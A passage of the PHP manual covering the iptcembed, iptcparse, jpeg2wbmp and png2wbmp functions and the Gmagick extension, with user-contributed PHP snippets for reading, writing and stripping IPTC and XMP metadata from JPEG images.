            } else {
                   return chr(0x1c).chr($rec).chr($dat).
                   chr(0x80).chr(0x04).
                   chr(($len >> 24) & 0xff).
                   chr(($len >> 16) & 0xff).
                   chr(($len >> 8 ) & 0xff).
                   chr(($len ) & 0xff).
                   $val;

            }
        }
        function write() {
            if(!function_exists('iptcembed')) return false;
            $mode = 0;
            $content = iptcembed($this->binary(), $this->file, $mode);
            $filename = $this->file;

            @unlink($filename); #delete if exists

            $fp = fopen($filename, "w");
            fwrite($fp, $content);
            fclose($fp);
        }

        #requires GD library installed
        function removeAllTags() {
            $this->hasmeta=false;
            $this->meta=Array();
            $img = imagecreatefromstring(implode(file($this->file)));
            @unlink($this->file); #delete if exists
            imagejpeg($img,$this->file,100);
        }
    };

?>

Example read copyright string:

$i = new iptc("test.jpg");
echo $i->get(IPTC_COPYRIGHT_STRING);

Update copyright statement:
$i = new iptc("test.jpg");
echo $i->set(IPTC_COPYRIGHT_STRING,"Here goes the new data");
$i->write();

NOTE1: Data may be anything, even a binary file. I have so far tested and embedded an MS-Excel file directly to jpeg and it worked just perfect.

NOTE2: The writing purpose, it uses GD Library.

Further imporvements / changes may be followed at www.image-host-script.com

I hope it helps.
Ali..
jb at ibbeck dot de 04-Oct-2007 07:40
If you have a file without any IPTC record, you can add a new, empty one by calling iptcembed with an empty string as first argument, like this:

$buffer = iptcembed("",$imagename,0);
$fp = fopen($imagename,"w");
fwrite($fp,$buffer);
fclose($fp);
Bryce Fisher 04-Jul-2007 09:55
In Thomas's wonderful code snippet below, the second parameter needs to be changed to "$filename", otherwise the script has no write the file. So the code should read:

<?php
//This function removes all header data from a JPG
function remove_XMP($image_in, $filename) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,$width, $height);
  imagejpeg($image_dest, $filename);
}
?>
thomas at anakrome dot net 04-Jul-2005 09:02
here is a small code to remove all header from a jpg file, including IPTC, Exif, XMP...

function remove_XMP($image_in, $image_dest) {
  $filename_in = addslashes($image_in);
  list($width, $height) = getimagesize($filename_in);
  $image_dest = imagecreatetruecolor($width, $height);
  $image = imagecreatefromjpeg($filename_in);
  imagecopyresampled($image_dest, $image, 0, 0, 0, 0,  $width, $height,
  $width, $height);
  imagejpeg($image_dest, $filename);
}

the problem comes from Photoshop CS cannot read IPTC if XMP is present.
removing XMP and other header _before_ adding IPTC with iptcembed is a good way.
muguran 13-May-2005 01:41
Pay attention not add codes with length of value equal to 0; the behavior could be strange...
(e.g. $iptc_old["2#015"][0] = "")
evan at nospam dot ozhiker dot com 09-Aug-2004 09:53
You might have noticed that several metadata fields in Photoshop are not available via IPTC.
Also, Photoshop now uses XMP for it's primary metadata, meaning IPTC is only read by Photoshop if XMP is not present.

I have written a library "PHP JPEG Metadata Toolkit" which bypasses this problem as it allows reading, writing and interpreting of virtually any type of metadata, including XMP, IPTC and EXIF.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
dj dot cyberdance at gmx dot at 30-May-2004 06:47
Yep it's me again :-) After some time I spent searching around for other possibilities to write IPTC fields to JPEG files I found this one:

http://www.zonageek.com/software/php/jpeg/index.php

This one seems to work pretty fine, remember that you have to install PEAR to get this running (Debian package php4-pear).
dj dot cyberdance at gmx dot at 06-May-2004 04:29
I've spent a whole day debugging my code (that was based on the example below, posted by knut) until I found out, that iptcembed() only works if the image specified in jpeg_file_name already has IPTC fields included.

That means that you cannot write IPTC fields in a jpeg file without preexisting IPTC information in it.

Updating of IPTC fields also worked only with a few files, I don't really know what it depends on whether it works or not. (Well, it depends on the IPTC header, that's for sure :-)

I'm using PHP 4.2.1, maybe this is fixed in more recent versions, but I don't believe...

Nevertheless, here's some piece of code I tried:

I replaced the line

<?
$iptc_old = iptcparse ($info["APP13"]);
?>

from knut's example below with

<?
$iptc_old["2#000"][0] = chr(0) . chr(2);
?>

This creates just an empty "Header" according to the IPTC spec. This one also is included when getting IPTC info using iptcparse(). So my intention was to create a fully new header, but when using iptcembed() afterwards, the file size of the new file was a little smaller than the original but without any IPTC info stored in it.
pprem at pprem dot net 20-Feb-2004 10:04
I've a problem with the ltrim fucntion: sometimes it remove more characters than it must, so it's better to delete the line

<?
//   $image = rtrim ($image, $endchar);
?>

in the XMP_remove_from_jpeg function
pprem at pprem dot net 19-Feb-2004 04:10
Reading and changing IPTC make no problem with the PEAR function, but recent Adobe software add XMP datas on JPEG files and read them instead of IPTC datas. If you need to change IPTC on a JPEG file and want Adobe PS7 read them, you have two solutions:
- writing XMP and IPTC datas
- writing IPTC datas and removing XMP datas

Because I've not enough time to work on XMP datas, I've choosen the second solution. Here is the result of this work:

<?php
// removing XMP datas from a JPEG file
// (c) Patrick Premartin 19/02/2004

function XMP_remove_from_jpeg (&$image) {
  $xmp_str = "http://ns.adobe.com/xap/1.0/";
  $xmp_end = "<?xpacket end='w'?>";
  $n_str = strpos ($image, $xmp_str);
  $n_end = strpos ($image, $xmp_end);
  if (($n_str !== false) && ($n_end !== false) && ($n_str < $n_end)) {
    $n_str -= 4; // FF E1 .x. .y. (xy is the length of the XMP block -> first char of this block
    $n_end += strlen ($xmp_end)-1; // last char of this block
    $endchar = $image [$n_str-1];
    if ($endchar == " ") {
      $endchar = "A";
    } else {
      $endchar = " ";
    }
    $xmp_len = $n_end-$n_str+1;
    $img_len = strlen ($image);
    $len = $img_len - $xmp_len;
    for ($i = $n_str; $i < $img_len; $i ++) {
      if ($i < $len) {
        $image [$i] = $image [$i+$xmp_len];
      } else {
        $image [$i] = $endchar;
      }
    }
    $image = rtrim ($image, $endchar);
    return true;
  } else {
    return false;
  }
}

function XMP_remove_from_jpegfile ($filename_in, $filename_out="") {
  if (""==$filename_out) {
    $filename_out = $filename_in;
  }
  if ((""!=$filename_in) && (file_exists ($filename_in)) && (($len_in = filesize ($filename_in)) > 0)) {
    // chargement du fichier en mémoire
    $f_in = fopen ($filename_in, "rb");
    $img = fread ($f_in, $len_in);
    fclose ($f_in);
    // suppression du XMP de l'image
    if (XMP_remove_from_jpeg ($img)) {
      // enregistrement du fichier sur disque
      $f_out = fopen ($filename_out, "wb");
      fwrite ($f_out, $img, strlen ($img));
      fclose ($f_out);
    }
  }
}

XMP_remove_from_jpegfile ("ps7_hr.jpg", "ps7_hr_.jpg"); // create a new picture without XMP datas

XMP_remove_from_jpegfile ("ps8_hr.jpg"); // replace the existing file
?>

In the future, I'll work on changing XMP datas and IPTC in the same way and will publish it ther or as a in PEAR.

May the force be with us :-)
pprem 15-Feb-2004 07:00
I confirm: Photoshop 7 and other recent Adobe programs use XMP instead of IPTC. They write datas in IPTC format only for compatibility with older programs, but use only XMP.

I'm working on a program that write XMP and IPTC together and probably post it here as soon as possible.
collord 27-Jan-2004 01:20
Regarding issues with photoshop IPTC... Photoshop actually prefers a different embedded metadata format, XMP, which is RDF-based. When Photoshop manages metadata via File Info, what you're actually doing is manipulating RDF in a "photoshop" namespace as well as the standard Dublin Core (dc) namespace, and a couple others. When a file is written that supports IPTC, the equivalent fields e.g. copyright, keywords, etc. are serialized into the IPTC block.

So, if one manipulates the IPTC block of a Photoshop-generated image and leaves the XMP block alone, it's my guess that Photoshop will treat data from the XMP as authoritative.

HTH, jerritt
jofr at gmx dot com 29-Dec-2003 10:42
I found out, that iptcembed does not overwrite the full IPTC-Tags from Photoshop.
If you modify the IPTC-Tag with iptcembed, Photoshop will still show you the old IPTC-Tag.
Programs like Fotostation works fine.

JO
bob at lucid-systems dot com 22-Aug-2002 03:37
The above example doesn't handle keywords properly. The 'create string' code needs to be modified to cater for the array:

$c = count ($iptc_old[$s]);
for ($i=0; $i <$c; $i++)
    {
    $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][$i]);
    }
rupix at rediffmail dot com 28-Jan-2002 04:24
Windows makes a distinction between 'text' and 'binary' files. So if you run the above code on a windows platform, it will produce a garbled image. To overcome this problem put the file mode in fopen() as 'wb' instead of 'w'.

Cheerio !!

Rupinder
knut dot satre dot NoSpam at No_Spam dot nord dot no 27-Jan-2002 03:45
Example to read IPTC text from an image, changing the text an write to a new file using the functions iptcparse and iptcembed.

Also a list of the most common IPTC fields.

<?
// original file name
$image_name_old = "test.jpg";

// New file name
$image_name_new = "test2.jpg";

// Reads the IPTC text in to the array '$iptc'
// The number after the '#' is the IPTC field
// Ex: $iptc["2#120"][0] is Caption
// $iptc["2#055"][0]; is Creation date
$size = GetImageSize ("$image_name_old",&$info);
$iptc_old = iptcparse ($info["APP13"]);

// Adding or replacing IPTC text
   // This ex. replace the original category or create it if it dos not exist
   $iptc_old["2#015"][0] = "Sport";
   // .. and adding more text to the original caption
   $iptc_old["2#120"][0] .= " More caption text";

   // Making the new IPTC string
   foreach (array_keys($iptc_old) as $s){
      // Finds the IPTC numbers
      $tag = str_replace("2#", "", $s);
      // Creating the string
      $iptc_new .= iptc_maketag(2, $tag, $iptc_old[$s][0]);
   }

// The original file and the new IPTC Text into $content
// Mode 0 - puts the image file into $content
// Mode 1 - puts the image file into $content and directly to the web client
// Mode 2 - puts the image file to web client
$mode = 0;
$content = iptcembed($iptc_new, $image_name_old, $mode);

// writes the new file
$fp = fopen($image_name_new, "w");
fwrite($fp, $content);
fclose($fp);

// Function to format the new IPTC text, (thanks to Thies C. Arntzen)
function iptc_maketag($rec,$dat,$val){
         $len = strlen($val);
         if ($len < 0x8000)
                  return chr(0x1c).chr($rec).chr($dat).
                  chr($len >> 8).
                  chr($len & 0xff).
                  $val;
         else
                  return chr(0x1c).chr($rec).chr($dat).
                  chr(0x80).chr(0x04).
                  chr(($len >> 24) & 0xff).
                  chr(($len >> 16) & 0xff).
                  chr(($len >> 8 ) & 0xff).
                  chr(($len ) & 0xff).
                  $val;
}

?>

--- The most common IPTC Fileds
005 - Object Name
007 - Edit Status
010 - Priority
015 - Category
020 - Supplemental Category
022 - Fixture Identifier
025 - Keywords
030 - Release Date
035 - Release Time
040 - Special Instructions
045 - Reference Service
047 - Reference Date
050 - Reference Number
055 - Created Date
060 - Created Time
065 - Originating Program
070 - Program Version
075 - Object Cycle
080 - Byline
085 - Byline Title
090 - City
095 - Province State
100 - Country Code
101 - Country
103 - Original Transmission Reference
105 - Headline
110 - Credit
115 - Source
116 - Copyright String
120 - Caption
121 - Local Caption
imagexbm
iptcparse
GD and Image Functions


Parse a binary IPTC block into single tags.

iptcembed
jpeg2wbmp
GD and Image Functions
PHP Manual

iptcparse

(PHP 4, PHP 5)

iptcparse — Parse a binary IPTC block into single tags.

Description

array iptcparse ( string $iptcblock )

Parses an » IPTC block into its single tags.

Parameters

iptcblock

A binary IPTC block.

Return Values

Returns an array using the tagmarker as an index and the value as the value. It returns FALSE on error or if no IPTC data was found.

Examples

Example #1 iptcparse() used together with getimagesize()

<?php
$size = getimagesize('./test.jpg', $info);
if(isset($info['APP13']))
{
    $iptc = iptcparse($info['APP13']);
    var_dump($iptc);
}
?>

Notes

Note:

This function does not require the GD image library.

User Contributed Notes

www.peterdebruin.net 22-Jul-2011 01:12
Nowadays IPTC captions may be encoded in UTF-8.
In that case, IPTC tag CodedCharacterSet would be set to "ESC % G".
This tag has tag marker "1#090".
To decode such a caption into simple ISO-8859-1, you could use the following code:

<?php
$IPTC_Caption = "";
$size = getimagesize( $image_path, $info );
if (isset($info["APP13"])) {
    if($iptc = iptcparse( $info["APP13"] ) ) {
        $IPTC_Caption = str_replace( "\000", "", $iptc["2#120"][0] );
        if(isset($iptc["1#090"]) && $iptc["1#090"][0] == "\x1B%G")
            $IPTC_Caption = utf8_decode($IPTC_Caption);
    }
}
?>

Of course, this will only preserve ISO-8859-1 characters.
For proper Unicode support, you should convert UTF-8 byte sequences into HTML character entities, or encode the whole web page in UTF-8.
michael wells 03-Sep-2004 05:06
To import IPTC keywords (which are stored in an array) into a scalar, try this sort of approach:

$keywordcount = count($iptc["2#025"]);
for ($i=0; $i<$keywordcount; $i++) $keywords .= $iptc["2#025"][$i] . " ";

(you could strip the trailing space if you wanted).

If you are importing data from some Mac applications, they may put chr(213) into strings to access a closing quote character. This prints as a captial O with a tilde above it in a web browser or on Windows. You can fix this with:

function ConvertChars($in)
{
        return str_replace(chr(213),"'",$in);
}

We use aspects of this code at www.thirdlight.com when parsing IPTC tags. XMP seems to be the better solution these days (being XML based is a great improvement!!).
evan at nospam dot ozhiker dot com 09-Aug-2004 09:57
You might have noticed that several metadata fields in Photoshop are not available via IPTC.

I have written a library "PHP JPEG Metadata Toolkit" which fixes this problem as it allows reading, writing and interpreting of virtually any type of metadata, including these missing fields.

Try it out, and download it at:
http://www.ozhiker.com/electronics/pjmt/index.html
05-Feb-2004 11:17
View all availiable IPCT Data

function output_iptc_data( $image_path ) {
    $size = getimagesize ( $image_path, $info);
     if(is_array($info)) {
        $iptc = iptcparse($info["APP13"]);
        foreach (array_keys($iptc) as $s) {
            $c = count ($iptc[$s]);
            for ($i=0; $i <$c; $i++)
            {
                echo $s.' = '.$iptc[$s][$i].'<br>';
            }
        }
    }
}
Scin 14-Oct-2002 03:52
If you are not sure where a particular value you entered into the IPTC block in photoshop or any other software is being stored, simply run a foreach loop thru the block and find out:

(Insert a new paragraph in the beggening of the first echo)

$size = GetImageSize ("testimg.jpg", &$info);
$iptc = iptcparse($info["APP13"]);

foreach($iptc as $key => $value)
{
    echo "<b>IPTC Key:</b> $key <b>Contents:</b> ";
    foreach($value as $innerkey => $innervalue)
    {
        if( ($innerkey+1) != count($value) )
            echo "$innervalue, ";
        else
            echo "$innervalue";
    }
}
25-Apr-2002 07:28
Just to add to the above response, he missed a couple of IPTC tags:

Keywords:
$iptc["2#025"][n];   (there is a list of keywords)

Caption Writer:
$iptc["2#122"][0];

Just figured I'd note it, as the keywords can be quite important for database applications.  I got these by extracting IPTC tags from a Photoshop 6.0 file, so hopefully they are standardized ;)
pkrohn at daemonize dot com 15-Jul-2001 04:35
This took me longer than it ought to to figure out. Very handy for handling a stream of photos where the info you want is in the IPTC header. This example passes by reference, for which PHP4 will yell at you. If your need to write into the header, check out the Image::IPTCInfo Perl module.

$size = GetImageSize ("$image_name",&$info);
$iptc = iptcparse ($info["APP13"]);
if (isset($info["APP13"])) {
    $iptc = iptcparse($info["APP13"]){
        if (is_array($iptc)) {
        $caption = $iptc["2#120"][0];
    $graphic_name = $iptc["2#005"][0];
        $urgency = $iptc["2#010"][0];
    $category = $iptc["2#015"][0];
    // note that sometimes supp_categories contans multiple entries
$supp_categories = $iptc["2#020"][0];
$spec_instr = $iptc["2#040"][0];
$creation_date = $iptc["2#055"][0];
$photog = $iptc["2#080"][0];
$credit_byline_title = $iptc["2#085"][0];
$city = $iptc["2#090"][0];
$state = $iptc["2#095"][0];
$country = $iptc["2#101"][0];
$otr = $iptc["2#103"][0];
$headline = $iptc["2#105"][0];
$source = $iptc["2#110"][0];
$photo_source = $iptc["2#115"][0];
$caption = $iptc["2#120"][0];    }}
iptcembed
jpeg2wbmp
GD and Image Functions


Convert JPEG image file to WBMP image file

iptcparse
png2wbmp
GD and Image Functions
PHP Manual

jpeg2wbmp

(PHP 4 >= 4.0.5, PHP 5)

jpeg2wbmp — Convert JPEG image file to WBMP image file

Description

bool jpeg2wbmp ( string $jpegname , string $wbmpname , int $dest_height , int $dest_width , int $threshold )

Converts a JPEG file into a WBMP file.

Parameters

jpegname

Path to JPEG file.

wbmpname

Path to destination WBMP file.

dest_height

Destination image height.

dest_width

Destination image width.

threshold

Threshold value, between 0 and 8 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 jpeg2wbmp() example

<?php
// Path to the target jpeg
$path = './test.jpg';

// Get the image sizes
$image = getimagesize($path);

// Convert image
jpeg2wbmp($path, './test.wbmp', $image[1], $image[0], 5);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

Note: JPEG support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • png2wbmp() - Convert PNG image file to WBMP image file

User Contributed Notes

barry dot schatz at gmail dot com 16-May-2009 08:41
Actually this produces black and white images only, as does the jpeg2wbmp function.
iptcparse
png2wbmp
GD and Image Functions


Convert PNG image file to WBMP image file

jpeg2wbmp
Gmagick
GD and Image Functions
PHP Manual

png2wbmp

(PHP 4 >= 4.0.5, PHP 5)

png2wbmp — Convert PNG image file to WBMP image file

Description

bool png2wbmp ( string $pngname , string $wbmpname , int $dest_height , int $dest_width , int $threshold )

Converts a PNG file into a WBMP file.

Parameters

pngname

Path to PNG file.

wbmpname

Path to destination WBMP file.

dest_height

Destination image height.

dest_width

Destination image width.

threshold

Threshold value, between 0 and 8 (inclusive).

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 png2wbmp() example

<?php
// Path to the target png
$path = './test.png';

// Get the image sizes
$image = getimagesize($path);

// Convert image
png2wbmp($path, './test.wbmp', $image[1], $image[0], 7);
?>

Notes

Note: WBMP support is only available if PHP was compiled against GD-1.8 or later.

See Also

  • jpeg2wbmp() - Convert JPEG image file to WBMP image file

User Contributed Notes

Window Bump Map 30-Jun-2008 10:41
WBMP is NOT windows bitmap, it is wireless bitmap. just to state that nice and clearly.
jpeg2wbmp
Gmagick
GD and Image Functions


Gmagick

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
  • Predefined Constants
  • Examples
  • Gmagick — The Gmagick class
    • Gmagick::addimage — Adds new image to Gmagick object image list
    • Gmagick::addnoiseimage — Adds random noise to the image
    • Gmagick::annotateimage — Annotates an image with text
    • Gmagick::blurimage — Adds blur filter to image
    • Gmagick::borderimage — Surrounds the image with a border
    • Gmagick::charcoalimage — Simulates a charcoal drawing
    • Gmagick::chopimage — Removes a region of an image and trims
    • Gmagick::clear — Clears all resources associated to Gmagick object
    • Gmagick::commentimage — Adds a comment to your image
    • Gmagick::compositeimage — Composite one image onto another
    • Gmagick::__construct — The Gmagick constructor
    • Gmagick::cropimage — Extracts a region of the image
    • Gmagick::cropthumbnailimage — Creates a crop thumbnail
    • Gmagick::current — The current purpose
    • Gmagick::cyclecolormapimage — Displaces an image's colormap
    • Gmagick::deconstructimages — Returns certain pixel differences between images
    • Gmagick::despeckleimage — The despeckleimage purpose
    • Gmagick::destroy — The destroy purpose
    • Gmagick::drawimage — Renders the GmagickDraw object on the current image
    • Gmagick::edgeimage — Enhance edges within the image
    • Gmagick::embossimage — Returns a grayscale image with a three-dimensional effect
    • Gmagick::enhanceimage — Improves the quality of a noisy image
    • Gmagick::equalizeimage — Equalizes the image histogram
    • Gmagick::flipimage — Creates a vertical mirror image
    • Gmagick::flopimage — The flopimage purpose
    • Gmagick::frameimage — Adds a simulated three-dimensional border
    • Gmagick::gammaimage — Gamma-corrects an image
    • Gmagick::getcopyright — Returns the GraphicsMagick API copyright as a string
    • Gmagick::getfilename — The filename associated with an image sequence
    • Gmagick::getimagebackgroundcolor — Returns the image background color
    • Gmagick::getimageblueprimary — Returns the chromaticy blue primary point
    • Gmagick::getimagebordercolor — Returns the image border color
    • Gmagick::getimagechanneldepth — Gets the depth for a particular image channel
    • Gmagick::getimagecolors — Returns the color of the specified colormap index
    • Gmagick::getimagecolorspace — Gets the image colorspace
    • Gmagick::getimagecompose — Returns the composite operator associated with the image
    • Gmagick::getimagedelay — Gets the image delay
    • Gmagick::getimagedepth — Gets the depth of the image
    • Gmagick::getimagedispose — Gets the image disposal method
    • Gmagick::getimageextrema — Gets the extrema for the image
    • Gmagick::getimagefilename — Returns the filename of a particular image in a sequence
    • Gmagick::getimageformat — Returns the format of a particular image in a sequence
    • Gmagick::getimagegamma — Gets the image gamma
    • Gmagick::getimagegreenprimary — Returns the chromaticy green primary point
    • Gmagick::getimageheight — Returns the image height
    • Gmagick::getimagehistogram — Gets the image histogram
    • Gmagick::getimageindex — Gets the index of the current active image
    • Gmagick::getimageinterlacescheme — Gets the image interlace scheme
    • Gmagick::getimageiterations — Gets the image iterations
    • Gmagick::getimagematte — Return if the image has a matte channel
    • Gmagick::getimagemattecolor — Returns the image matte color
    • Gmagick::getimageprofile — Returns the named image profile.
    • Gmagick::getimageredprimary — Returns the chromaticity red primary point
    • Gmagick::getimagerenderingintent — Gets the image rendering intent
    • Gmagick::getimageresolution — Gets the image X and Y resolution
    • Gmagick::getimagescene — Gets the image scene
    • Gmagick::getimagesignature — Generates an SHA-256 message digest
    • Gmagick::getimagetype — Gets the potential image type.
    • Gmagick::getimageunits — Gets the image units of resolution
    • Gmagick::getimagewhitepoint — Returns the chromaticity white point
    • Gmagick::getimagewidth — Returns the width of the image
    • Gmagick::getpackagename — Returns the GraphicsMagick package name.
    • Gmagick::getquantumdepth — Returns the Gmagick quantum depth as a string.
    • Gmagick::getreleasedate — Returns the GraphicsMagick release date as a string.
    • Gmagick::getsamplingfactors — Gets the horizontal and vertical sampling factor.
    • Gmagick::getsize — Returns the size associated with the Gmagick object
    • Gmagick::getversion — Returns the GraphicsMagick API version
    • Gmagick::hasnextimage — Checks if the object has more images
    • Gmagick::haspreviousimage — Checks if the object has a previous image
    • Gmagick::implodeimage — Creates a new image as a copy
    • Gmagick::labelimage — Adds a label to an image.
    • Gmagick::levelimage — Adjusts the levels of an image
    • Gmagick::magnifyimage — Scales an image proportionally 2x
    • Gmagick::mapimage — Replaces the colors of an image with the closest color from a reference image.
    • Gmagick::medianfilterimage — Applies a digital filter
    • Gmagick::minifyimage — Scales an image proportionally to half its size
    • Gmagick::modulateimage — Control the brightness, saturation, and hue
    • Gmagick::motionblurimage — Simulates motion blur
    • Gmagick::newimage — Creates a new image
    • Gmagick::nextimage — Moves to the next image
    • Gmagick::normalizeimage — Enhances the contrast of a color image
    • Gmagick::oilpaintimage — Simulates an oil painting
    • Gmagick::previousimage — Move to the previous image in the object
    • Gmagick::profileimage — Adds or removes a profile from an image
    • Gmagick::quantizeimage — Analyzes the colors within a reference image
    • Gmagick::quantizeimages — The quantizeimages purpose
    • Gmagick::queryfontmetrics — Returns an array representing the font metrics
    • Gmagick::queryfonts — Returns the configured fonts
    • Gmagick::queryformats — Returns formats supported by Gmagick.
    • Gmagick::radialblurimage — Radial blurs an image
    • Gmagick::raiseimage — Creates a simulated 3d button-like effect
    • Gmagick::read — Reads image from filename
    • Gmagick::readimage — Reads image from filename
    • Gmagick::readimageblob — Reads image from a binary string
    • Gmagick::readimagefile — The readimagefile purpose
    • Gmagick::reducenoiseimage — Smooths the contours of an image
    • Gmagick::removeimage — Removes an image from the image list
    • Gmagick::removeimageprofile — Removes the named image profile and returns it
    • Gmagick::resampleimage — Resample image to desired resolution
    • Gmagick::resizeimage — Scales an image
    • Gmagick::rollimage — Offsets an image
    • Gmagick::rotateimage — Rotates an image
    • Gmagick::scaleimage — Scales the size of an image
    • Gmagick::separateimagechannel — Separates a channel from the image
    • Gmagick::setfilename — Sets the filename before you read or write the image
    • Gmagick::setimagebackgroundcolor — Sets the image background color.
    • Gmagick::setimageblueprimary — Sets the image chromaticity blue primary point.
    • Gmagick::setimagebordercolor — Sets the image border color.
    • Gmagick::setimagechanneldepth — Sets the depth of a particular image channel
    • Gmagick::setimagecolorspace — Sets the image colorspace
    • Gmagick::setimagecompose — Sets the image composite operator
    • Gmagick::setimagedelay — Sets the image delay
    • Gmagick::setimagedepth — Sets the image depth
    • Gmagick::setimagedispose — Sets the image disposal method
    • Gmagick::setimagefilename — Sets the filename of a particular image in a sequence
    • Gmagick::setimageformat — Sets the format of a particular image
    • Gmagick::setimagegamma — Sets the image gamma
    • Gmagick::setimagegreenprimary — TSets the image chromaticity green primary point.
    • Gmagick::setimageindex — Set the iterator to the position in the image list specified with the index parameter
    • Gmagick::setimageinterlacescheme — Sets the interlace scheme of the image.
    • Gmagick::setimageiterations — Sets the image iterations.
    • Gmagick::setimageprofile — Adds a named profile to the Gmagick object
    • Gmagick::setimageredprimary — Sets the image chromaticity red primary point.
    • Gmagick::setimagerenderingintent — Sets the image rendering intent
    • Gmagick::setimageresolution — Sets the image resolution
    • Gmagick::setimagescene — Sets the image scene
    • Gmagick::setimagetype — Sets the image type
    • Gmagick::setimageunits — Sets the image units of resolution.
    • Gmagick::setimagewhitepoint — Sets the image chromaticity white point.
    • Gmagick::setsamplingfactors — Sets the image sampling factors.
    • Gmagick::setsize — Sets the size of the Gmagick object
    • Gmagick::shearimage — Creating a parallelogram
    • Gmagick::solarizeimage — Applies a solarizing effect to the image
    • Gmagick::spreadimage — Randomly displaces each pixel in a block
    • Gmagick::stripimage — Strips an image of all profiles and comments
    • Gmagick::swirlimage — Swirls the pixels about the center of the image
    • Gmagick::thumbnailimage — Changes the size of an image
    • Gmagick::trimimage — Remove edges from the image
    • Gmagick::write — Writes an image to the specified filename
    • Gmagick::writeimage — Writes an image to the specified filename
  • GmagickDraw — The GmagickDraw class
    • GmagickDraw::annotate — Draws text on the image
    • GmagickDraw::arc — Draws an arc
    • GmagickDraw::bezier — Draws a bezier curve
    • GmagickDraw::ellipse — Draws an ellipse on the image
    • GmagickDraw::getfillcolor — Returns the fill color
    • GmagickDraw::getfillopacity — Returns the opacity used when drawing
    • GmagickDraw::getfont — Returns the font
    • GmagickDraw::getfontsize — Returns the font pointsize
    • GmagickDraw::getfontstyle — Returns the font style
    • GmagickDraw::getfontweight — Returns the font weight
    • GmagickDraw::getstrokecolor — Returns the color used for stroking object outlines
    • GmagickDraw::getstrokeopacity — Returns the opacity of stroked object outlines
    • GmagickDraw::getstrokewidth — Returns the width of the stroke used to draw object outlines
    • GmagickDraw::gettextdecoration — Returns the text decoration
    • GmagickDraw::gettextencoding — Returns the code set used for text annotations
    • GmagickDraw::line — The line purpose
    • GmagickDraw::point — Draws a point
    • GmagickDraw::polygon — Draws a polygon
    • GmagickDraw::polyline — Draws a polyline
    • GmagickDraw::rectangle — Draws a rectangle
    • GmagickDraw::rotate — Applies the specified rotation to the current coordinate space
    • GmagickDraw::roundrectangle — Draws a rounded rectangle
    • GmagickDraw::scale — Adjusts the scaling factor
    • GmagickDraw::setfillcolor — Sets the fill color to be used for drawing filled objects.
    • GmagickDraw::setfillopacity — The setfillopacity purpose
    • GmagickDraw::setfont — Sets the fully-specified font to use when annotating with text.
    • GmagickDraw::setfontsize — Sets the font pointsize to use when annotating with text.
    • GmagickDraw::setfontstyle — Sets the font style to use when annotating with text
    • GmagickDraw::setfontweight — Sets the font weight
    • GmagickDraw::setstrokecolor — Sets the color used for stroking object outlines.
    • GmagickDraw::setstrokeopacity — Specifies the opacity of stroked object outlines.
    • GmagickDraw::setstrokewidth — Sets the width of the stroke used to draw object outlines.
    • GmagickDraw::settextdecoration — Specifies a decoration
    • GmagickDraw::settextencoding — Specifies specifies the text code set
  • GmagickPixel — The GmagickPixel class
    • GmagickPixel::__construct — The GmagickPixel constructor
    • GmagickPixel::getcolor — Returns the color
    • GmagickPixel::getcolorcount — Returns the color count associated with this color
    • GmagickPixel::getcolorvalue — Gets the normalized value of the provided color channel
    • GmagickPixel::setcolor — Sets the color
    • GmagickPixel::setcolorvalue — Sets the normalized value of one of the channels

User Contributed Notes

There are no user contributed notes for this page.
png2wbmp
Introduction
Image Processing and Generation


Introduction

Gmagick is a php extension to create, modify and obtain meta information of images using the GraphicsMagick API.

GraphicsMagick prides itself as the swiss army knife of image processing. It works with over 88 major formats including important formats like DPX, GIF, JPEG, JPEG-2000, PNG, PDF, PNM, and TIFF.

Gmagick consists of a main Gmagick class, a GmagickDraw class which is in effect a drawing wand and a GmagickPixel class of which instances represent a single pixel of an image (color, opacity).

User Contributed Notes

There are no user contributed notes for this page.
Gmagick
Installing/Configuring
Gmagick


Installing/Configuring

Table of Contents

  • Requirements
  • Installation
  • Runtime Configuration

User Contributed Notes

There are no user contributed notes for this page.
Introduction
Requirements
Gmagick


Requirements

This extension works best with GraphicsMagick version 1.4+ and PHP 5.1.3+. Gmagick should work with earlier versions up to GraphicsMagick 1.2.6 but some features and formats are not supported for these versions. Windows version of GraphicsMagick is available from the GraphicsMagick website. To read about the difference between ImageMagick and GraphicsMagick, check this out: » FAQ .

User Contributed Notes

There are no user contributed notes for this page.
Installing/Configuring
Installation
Installing/Configuring


Installation

Information for installing this PECL extension may be found in the manual chapter titled Installation of PECL extensions. Additional information such as new releases, downloads, source files, maintainer information, and a CHANGELOG, can be located here: » http://pecl.php.net/package/gmagick.

Note: The official name of this extension is gmagick.

For Windows, the build of the Gmagick extension is available » here

User Contributed Notes

There are no user contributed notes for this page.
Requirements
Runtime Configuration
Installing/Configuring


Runtime Configuration

This extension has no configuration directives defined in php.ini.

User Contributed Notes

There are no user contributed notes for this page.
Installation
Predefined Constants
Installing/Configuring


Predefined Constants

The constants below are defined by this extension, and will only be available when the extension has either been compiled into PHP or dynamically loaded at runtime.

Colortype constants
Gmagick::COLOR_BLACK (integer)
Black
Gmagick::COLOR_BLUE (integer)
Blue
Gmagick::COLOR_CYAN (integer)
Cyan
Gmagick::COLOR_GREEN (integer)
Green
Gmagick::COLOR_RED (integer)
Red
Gmagick::COLOR_YELLOW (integer)
Yellow
Gmagick::COLOR_MAGENTA (integer)
Magenta
Gmagick::COLOR_OPACITY (integer)
Opacity
Gmagick::COLOR_ALPHA (integer)
Alpha
Gmagick::COLOR_FUZZ (integer)
Fuzz
Composite Operator Constants
Gmagick::COMPOSITE_DEFAULT (integer)
The default composite operator
Gmagick::COMPOSITE_UNDEFINED (integer)
Undefined composite operator
Gmagick::COMPOSITE_NO (integer)
No composite operator defined
Gmagick::COMPOSITE_ADD (integer)
The result of image + image
Gmagick::COMPOSITE_ATOP (integer)
The result is the same shape as image, with composite image obscuring image where the image shapes overlap
Gmagick::COMPOSITE_BLEND (integer)
Blends the image
Gmagick::COMPOSITE_BUMPMAP (integer)
